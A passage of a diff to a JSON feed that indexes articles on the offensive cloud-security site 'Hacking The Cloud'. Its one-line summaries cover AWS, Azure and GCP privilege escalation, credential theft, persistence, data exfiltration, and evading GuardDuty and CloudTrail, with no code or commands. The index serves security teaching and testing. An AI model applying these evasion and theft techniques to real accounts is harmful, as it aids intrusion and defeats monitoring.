"https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_modified": "2024-02-09T02:49:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_modified": "2024-02-02T00:17:34+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_modified": "2024-01-23T00:25:07+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_modified": "2024-01-21T17:34:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_modified": "2024-01-21T17:27:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_modified": "2024-01-21T17:20:20+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_modified": "2024-01-13T20:48:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_modified": "2024-01-13T01:04:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_modified": "2024-01-11T08:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_modified": "2024-01-08T15:03:16+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_modified": "2024-01-06T22:14:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_modified": "2024-01-06T20:43:40+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_modified": "2024-01-04T04:45:39+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_modified": "2023-12-08T02:37:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_modified": "2023-11-05T18:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_modified": "2023-10-18T00:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_modified": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_modified": "2023-07-15T15:12:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_modified": "2023-02-17T04:07:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_modified": "2023-01-26T01:07:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_modified": "2023-01-09T03:01:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_modified": "2022-12-28T18:47:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}]}
\ No newline at end of file
+{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_updated.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/", "title": "Exploiting Public AWS Resources Programmatically - The Playbook", "content_html": "A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png", "date_modified": "2024-12-05T19:48:07+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "title": "CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios", "content_html": "An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings for the AWS CLI", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_modified": "2024-11-12T03:00:45+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "title": "AWS CLI Tips and Tricks", "content_html": "A collection of tips and tricks for using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png", "date_modified": "2024-11-04T03:15:10+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_modified": "2024-10-30T21:58:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/run-command-abuse/", "url": "https://hackingthe.cloud/azure/run-command-abuse/", "title": "Run Command Abuse", "content_html": "Utilise Azure RunCommands for execution and lateral movement.", "image": "https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png", "date_modified": "2024-10-05T05:04:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "title": "Exploiting Misconfigured GitLab OIDC AWS IAM Roles", "content_html": "Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png", "date_modified": "2024-09-01T22:56:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_modified": "2024-08-20T01:29:51+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_modified": "2024-08-04T21:24:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_modified": "2024-07-14T21:50:00+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_modified": "2024-06-15T06:21:29+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": 